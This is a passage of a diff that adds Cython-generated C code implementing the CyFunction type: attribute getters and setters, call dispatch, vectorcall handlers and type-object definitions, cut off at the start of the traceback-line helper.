CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + 